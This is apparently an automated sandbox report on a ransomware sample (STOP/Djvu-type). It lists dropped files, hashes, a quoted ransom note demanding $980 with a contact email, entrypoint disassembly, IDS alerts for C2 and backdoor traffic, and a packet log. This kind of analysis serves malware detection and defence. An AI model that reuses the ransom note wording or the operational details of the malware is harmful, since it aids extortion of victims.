SSDEEP:	24:Z7remuW6I1Zv8vaWEgx1tKZMbdQ61tv5VXdTAwNEwBwPkbD:ZGmH1ZDLghKmR51tvLdT86wWD
MD5:	F6B0E00AC2AA70170E342270E91CB00F
SHA1:	1EABC07F6042AEAD77F43043B8F3F269C3517335
SHA-256:	9D6B64573D983316B1B667DCE58031BC3702006705AA9864645E6CF3962E8E46
SHA-512:	7901DA90BE1B5DBE4AD5DFB5293AF94DEBEC367DDE242DC8CC15F63BF97593C8892BAA51856968271787F1C267A8123CBF72F60D3E6FD4E4FBF812EE15F7F07A
Malicious:	false
Preview:	<?xml.U.....C..?....&u..-.n.,...X.g..U....^.=0....=....M}yG[...5.6.EcLh.............'..JT..`..h.&.T...g..{.e.......`.%..Q......V.M...^S.....M.).xky..OR.!.4.-0..9..IBm....i.VY..L....M.b(..."..F.....F{..+b0....}6+........R......(......t....{m.A...}QC..7.....pzk{..l{...s)..J..`M.;...FJ.....f .%._DmB...t.I.)...x..-.M...Nt....L.....]....[...F3...tld.}..N7....P(...('6i..X.N...S.......K....H..SB.^....h......K;....7......iqG.._..$.Q_.....I2...k.Y.?I47..(....Y....b.>8.f...\.......Q....%B.C<...m\|.....@...F...g6.ww..6......i.}7. .j.f......n....%_...@N..@...N#`SD..B..j.X..[.b.~.o....''..J....1..!.o(U.RJ3...R.3.P......~f6.N.A..~...@.5.....U./............yO.#;.K(...eB.l.........Fysim..&...Rn....u..glrw.QZ"..B..cZ....7k?..4E....~.....N.k.....4.u..I..{v!0FOc.\|.t%..z....x...{.7/j..........>.....K..U)0r2-....L..A..H?r....[..!....T..k+.d^....L.;KlF"...^r..L+...(.[>i......h.r'...0q.....m.)M.k..<./;..Lo..o.EF...r...}2.../.S`w......d,:I..L......W.knp8

C:\Users\user\SendTo\Bluetooth File Transfer.LNK.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1383
Entropy (8bit):	7.851076512371146
Encrypted:	false
SSDEEP:	24:8pDsX1xEQ3bAzToCAWWqakaTu5yC9uOEpGO5TzGfX3jhtWl/qiVaSULVbghwQhIW:qM/n3bAijjS5yC9mpVNQjholFVnAVb+T
MD5:	715027898A7F1DCE195FC8DFDD93C2DB
SHA1:	3F7758B92C52642B42E40422BB35CF1566A3068B
SHA-256:	BDF6C87EBE4571E8C05EEE0156C71BA9433DED905A58DCA40ADD39D24F24F133
SHA-512:	C652165488AEABA02499A53CF79AF15C4AF2C083886B1B29C24BC89F90FF6F02495438E5EF9832E100A6BC5797CBD440D5BE2CCE5F65FD83CF1809E5858DBF7F
Malicious:	false
Preview:	L......Q\|."..x...s..P.`.h<..v....7..\|......... ..\.Y....U..JvR.d..lv...a.].c .z...9...^.14.....iQ...g3';.w..}...l4u5..KLcP....5W%..M.g@..D....1..E....:jx....3...J...?u...x=..cd....'..5-...BE.G.p$y`-h..;8X.......y..!...... mN?+h.{..r-..i.QL..!......c#.W...@H..V.x.s.&...G.j....'..._...@.....cH0...A^.....)G.....(.1..z...L;{....U..I.]2.d8.B^.Y...%.....;....u3^....1..G.57....M\|v..#s+6I...0H._u...g..U.O..b...Gs..r.Z.B.h{...rZ.L.>..3.\.P...a...2..U.J.;.l..R<..{..=...z..........J.....sF.P..J..E..P3...5f.2.t..3L..<.:2...).p3P..?%..,...+C.k.!+..-..i?K.....G....f ..fJ....K..B-/5\........;..m1ju.C..S..k.]q.2m:.Pn...:5."i.0...i.z.;.wX.s.,......%..O.?X8..7q.=..6.3..wL..2....o.%TO.H7........Pc+Y..AI%.2Us./.\|....h.%@,a..SAI...mZ..U1u!..XAeBy..V.SO..=.6z.b. .]W.Y8.....D...+.GS.p.xQH..r5......w..;..Z.1Kn\.4...u...@.yr.........X.k,C.......&..._b&.IA[....nF.....o...W:.N].x. ..q.k...<..i..-.,.!....X.>..-.2._.D.....P...9........*..Y.;b...F..C..f$.

C:\Users\user\SendTo\Desktop (create shortcut).DeskLink.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.198697725378481
Encrypted:	false
SSDEEP:	6:iRHJlzZ3KGNza5w7GSukzOp+Zp8M5eeWY9aCUmIYGEU657Pebugcii96Z:yHJpB5uyydkg+MMIJYY1Ej57Prgcii9a
MD5:	083BC9FA63F678A398E5D21EDD40AF26
SHA1:	57659FA1B2FBA2527C512F3612C3E0CB7C0B9D2A
SHA-256:	1E51CDAA56434803FB9D670A91ED4D6FB3876DE14581DD1AC2649EBC2E4AEAFE
SHA-512:	E19798574D88A37DE798C43241B0CDA378B6C6A25AF769285235EE05092BE1561C33FC2628BD16BC6385C8E5FD9AA41F3757B94FF51E31D5E54AA7E14B5F4B8B
Malicious:	false
Preview:	deskt..\t]...xt...0.:.R...rM.....2.q....Q...?>...h.8.H...?...n...../q...a5=3.....dDk..N+.6..h.....@\|.....!J....C.q?.7K.f.M.......h..[L..v...H..v5._..a.....A+.T=Q...^.R.y?........<.3L..~"...qf.D..........A.Di.82........@....u...s.U....H..p.;..(...G...Q..9.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.867760142083633
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJx0Iu:WZHfv0p6Wj6PFWrDGT0f/kjwJ
MD5:	51E4ED98E713291D75601A429D448CB4
SHA1:	C2EBCFB786A2A76D3FD2D4B19F1437CB47A80881
SHA-256:	9B48F49466AE659E7AF8538556AA40CF486472ECC71A73049A8D925AEDEA42FB
SHA-512:	59026C80576DFE267E932E49DFE94C95C102D4943D36D251F93DF777C85BF75E40D00D9A3B52C374824E3893D5DFE442A02D51C69CADE0062D6685907815C3C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\OmbNjE.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468991151853447
Encrypted:	false
SSDEEP:	6144:zzZfpi6ceLPx9skLmb0fBZWSP3aJG8nAgeiJRMMhA2zX4WABluuNZjDH5SG:PZHtBZWOKnMM6bFpfj4
MD5:	064ED53001E4495E26DB148E97EAF15E
SHA1:	A983B4AFE0FB370A73B9249C38ACBE9715A547EF
SHA-256:	FCFE4D2661C5EAEE482220CCEB37C1DDC9BB8CA1E466DB919AF9E2E2929C765E
SHA-512:	7CFA662B7E95BD12BFB94E27F74BE80125BD655313453867A1EEAED591A0076B7694FA9518934402B9DF1FAFF5386034F16AA3386BF9E3434B8EF290F97261DD
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm>>..#...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\_readme.txt

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1107
Entropy (8bit):	4.867760142083633
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYLuWj6mFRqrl3W4kA+GT/kF5M2/kAApJx0Iu:WZHfv0p6Wj6PFWrDGT0f/kjwJ
MD5:	51E4ED98E713291D75601A429D448CB4
SHA1:	C2EBCFB786A2A76D3FD2D4B19F1437CB47A80881
SHA-256:	9B48F49466AE659E7AF8538556AA40CF486472ECC71A73049A8D925AEDEA42FB
SHA-512:	59026C80576DFE267E932E49DFE94C95C102D4943D36D251F93DF777C85BF75E40D00D9A3B52C374824E3893D5DFE442A02D51C69CADE0062D6685907815C3C8
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...You can get and look video overview decrypt tool:..https://we.tl/t-NdDG3HIUZp..Price of private key and decrypt software is $980...Discount 50% available if you contact us first 72 hours, that's price for you is $490...Please note that you'll never restore your data without payment...Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.......To get this software you need write on our e-mail:..support@sysmail.ch....Reserve e-mail address to

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.213082816838916
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File size:	811'520 bytes
MD5:	502d888ea54c803993572355cc829b54
SHA1:	408ad3c6791d64372ac3583717efa33562d47a35
SHA256:	4f1bcdcbc93f0edf7a5b94c5da7b46ee72d4ba9619862036ed1cb202a07385c2
SHA512:	459356b89907a972b7eacbbaa5ac8147c62105ccc0bcc42ae1bbb9133eb3929a1f6dc9b64860ec5c6daeba69cb058a56276f554f3e5c24cef5c25eaaea68e016
SSDEEP:	12288:QOl/e0TCHSyxtbdGDtAl/HTG8EHpUMc4PwunvuhEFo:Qo/ebHSwdQDahHRjM9wQ2h0o
TLSH:	890523623522F273C44286327863D362462E78B1097AA443F7494F1D3F727A2DAF674E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7...Y...Y...Y.......Y.......Y.......Y..."...Y...X.3.Y.......Y.......Y.......Y.Rich..Y.........PE..L...2..`...................

File Icon


Icon Hash:	63656dc5654d7e0f

Static PE Info

General

Entrypoint:	0x505000
Entrypoint Section:	A(2uL
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6085C132 [Sun Apr 25 19:21:22 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6661d4562fc1cd29221466eee2fc9aa0

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 4E626D4Fh
mov dword ptr [ebp-44h], 652E456Ah
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F28116532F5h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFEFF653h
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F281165343Eh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F2811653344h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F281165333Bh

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb6644	0x3c	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x101000	0x3b28	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11c0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2648	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x170	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb5e8e	0xb6000	a1b69ce4ac3046b6d18514da4ff96236	False	0.8416385860233516	data	7.437077348123648	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xb7000	0x49be4	0x8000	70223c62c759419c886fec544cd591f8	False	0.03076171875	data	0.3758218650066411	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x101000	0x3b28	0x3c00	94cf905dc77bdd51f07bf3750b05b2a1	False	0.63203125	data	5.696787530263344	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
A(2uL	0x105000	0x5000	0x4200	fe1710126a61948a0cc2f44ef42177f6	False	0.7774621212121212	data	6.934577039611706	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x104358	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0	French	Switzerland	0.4375
RT_CURSOR	0x104488	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0	French	Switzerland	0.44886363636363635
RT_ICON	0x101250	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tajik	Tajikistan	0.6860599078341014
RT_ICON	0x101918	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tajik	Tajikistan	0.6562240663900415
RT_ICON	0x103ec0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tajik	Tajikistan	0.776595744680851
RT_STRING	0x104700	0x424	data	French	Switzerland	0.4556603773584906
RT_GROUP_CURSOR	0x104538	0x22	data	French	Switzerland	1.0588235294117647
RT_GROUP_ICON	0x104328	0x30	data	Tajik	Tajikistan	0.9375
RT_VERSION	0x104560	0x1a0	data	French	Switzerland	0.6033653846153846

Imports

DLL

Import

KERNEL32.dll

ReadConsoleA, SetMailslotInfo, FreeEnvironmentStringsA, GetConsoleAliasesLengthA, CreateDirectoryExW, GlobalAlloc, LoadLibraryW, InitializeCriticalSectionAndSpinCount, LeaveCriticalSection, WriteConsoleW, GetBinaryTypeA, ReplaceFileW, LocalHandle, GetSystemDirectoryA, lstrlenW, GetStdHandle, GetCPInfoExW, SetFilePointer, BindIoCompletionCallback, GetProcAddress, AttachConsole, VirtualAlloc, MoveFileW, LoadLibraryA, CreateEventW, WriteProfileSectionW, SetConsoleWindowInfo, GetModuleHandleA, GetConsoleTitleW, SetCalendarInfoA, SetLastError, FindFirstChangeNotificationW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetLastError, HeapReAlloc, HeapAlloc, GetModuleHandleW, Sleep, ExitProcess, GetCommandLineA, GetStartupInfoA, WriteFile, GetModuleFileNameA, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, InterlockedDecrement, HeapSize, EnterCriticalSection, SetHandleCount, GetFileType, DeleteCriticalSection, HeapCreate, VirtualFree, HeapFree, GetEnvironmentStrings, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, MultiByteToWideChar, RtlUnwind, SetStdHandle, GetLocaleInfoA, WriteConsoleA, GetConsoleOutputCP, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, FlushFileBuffers, CreateFileA, CloseHandle

USER32.dll

ClientToScreen

Possible Origin

Language of compilation system	Country where language is spoken	Map
French	Switzerland
Tajik	Tajikistan

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-25T01:49:17.143513+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49738	13.85.23.86	192.168.2.6
2024-07-25T01:48:56.212787+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49725	80	192.168.2.6	92.246.89.93
2024-07-25T01:49:25.246809+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49736	80	192.168.2.6	92.246.89.93
2024-07-25T01:48:55.791931+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49724	80	192.168.2.6	92.246.89.93
2024-07-25T01:50:15.666108+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49742	80	192.168.2.6	92.246.89.93
2024-07-25T01:49:51.747953+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49740	80	192.168.2.6	92.246.89.93
2024-07-25T01:48:45.614581+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49731	443	192.168.2.6	188.114.96.3
2024-07-25T01:48:34.350511+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49723	799	192.168.2.6	44.221.84.105
2024-07-25T01:48:31.392891+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49719	799	192.168.2.6	44.221.84.105
2024-07-25T01:48:21.290720+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	54284	53	192.168.2.6	1.1.1.1
2024-07-25T01:48:30.814695+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49718	799	192.168.2.6	44.221.84.105
2024-07-25T01:48:25.351885+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49711	799	192.168.2.6	44.221.84.105
2024-07-25T01:48:53.240105+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49733	443	192.168.2.6	188.114.96.3
2024-07-25T01:48:34.333705+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49722	443	192.168.2.6	188.114.96.3
2024-07-25T01:48:21.792927+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49710	799	192.168.2.6	44.221.84.105
2024-07-25T01:49:17.584875+0200	TCP	2036333	ET MALWARE Win32/Vodkagats Loader Requesting Payload	49734	80	192.168.2.6	92.246.89.93
2024-07-25T01:49:22.258940+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49735	80	192.168.2.6	92.246.89.93
2024-07-25T01:49:49.181855+0200	TCP	2036334	ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key	49739	80	192.168.2.6	92.246.89.93
2024-07-25T01:48:28.281421+0200	TCP	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	49716	443	192.168.2.6	20.42.73.29
2024-07-25T01:48:37.337628+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49727	443	192.168.2.6	188.114.96.3
2024-07-25T01:48:39.412445+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49729	13.85.23.86	192.168.2.6
2024-07-25T01:48:28.165742+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	49714	443	192.168.2.6	188.114.96.3
2024-07-25T01:48:33.885846+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49721	799	192.168.2.6	44.221.84.105
2024-07-25T01:50:18.398438+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49743	80	192.168.2.6	92.246.89.93
2024-07-25T01:48:58.792665+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	49728	80	192.168.2.6	92.246.89.93
2024-07-25T01:48:32.301371+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49720	799	192.168.2.6	44.221.84.105

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 01:48:21.393222094 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.398056030 CEST	799	49710	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:21.398150921 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.398307085 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.403106928 CEST	799	49710	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:21.792870045 CEST	799	49710	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:21.792927027 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.793143034 CEST	799	49710	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:21.793190002 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.838301897 CEST	49710	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:21.843220949 CEST	799	49710	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:24.924345016 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:24.934504032 CEST	799	49711	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:24.934623003 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:24.936594009 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:24.941719055 CEST	799	49711	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:25.351799965 CEST	799	49711	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:25.351885080 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:25.352004051 CEST	799	49711	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:25.352051973 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:26.913238049 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:26.913285971 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:26.913360119 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:26.930212975 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:26.930237055 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:27.541526079 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:27.541610003 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:27.596419096 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:27.596462965 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:27.596987963 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:27.597074986 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:27.603112936 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:27.648508072 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:28.165750027 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:28.165885925 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:28.165946960 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:28.168612003 CEST	49714	443	192.168.2.6	188.114.96.3
Jul 25, 2024 01:48:28.168642998 CEST	443	49714	188.114.96.3	192.168.2.6
Jul 25, 2024 01:48:28.729948997 CEST	49711	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.392975092 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.400294065 CEST	799	49718	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.400360107 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.468887091 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.473817110 CEST	799	49718	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.814635038 CEST	799	49718	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.814694881 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.815694094 CEST	799	49718	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.815746069 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.962162971 CEST	49718	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.967247009 CEST	799	49718	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.978961945 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.983899117 CEST	799	49719	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:30.987873077 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.987873077 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:30.993040085 CEST	799	49719	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:31.392838001 CEST	799	49719	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:31.392890930 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:31.393270016 CEST	799	49719	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:31.394891977 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:31.818878889 CEST	49719	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:31.824002981 CEST	799	49719	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:31.912997961 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:31.917963982 CEST	799	49720	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:31.918107033 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:32.100264072 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:32.105554104 CEST	799	49720	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:32.300898075 CEST	799	49720	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:32.301371098 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:32.301614046 CEST	799	49720	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:32.302427053 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:32.351634979 CEST	49720	799	192.168.2.6	44.221.84.105
Jul 25, 2024 01:48:32.356602907 CEST	799	49720	44.221.84.105	192.168.2.6
Jul 25, 2024 01:48:32.472028971 CEST	49721	799	192.168.2.6	44.221.84.105
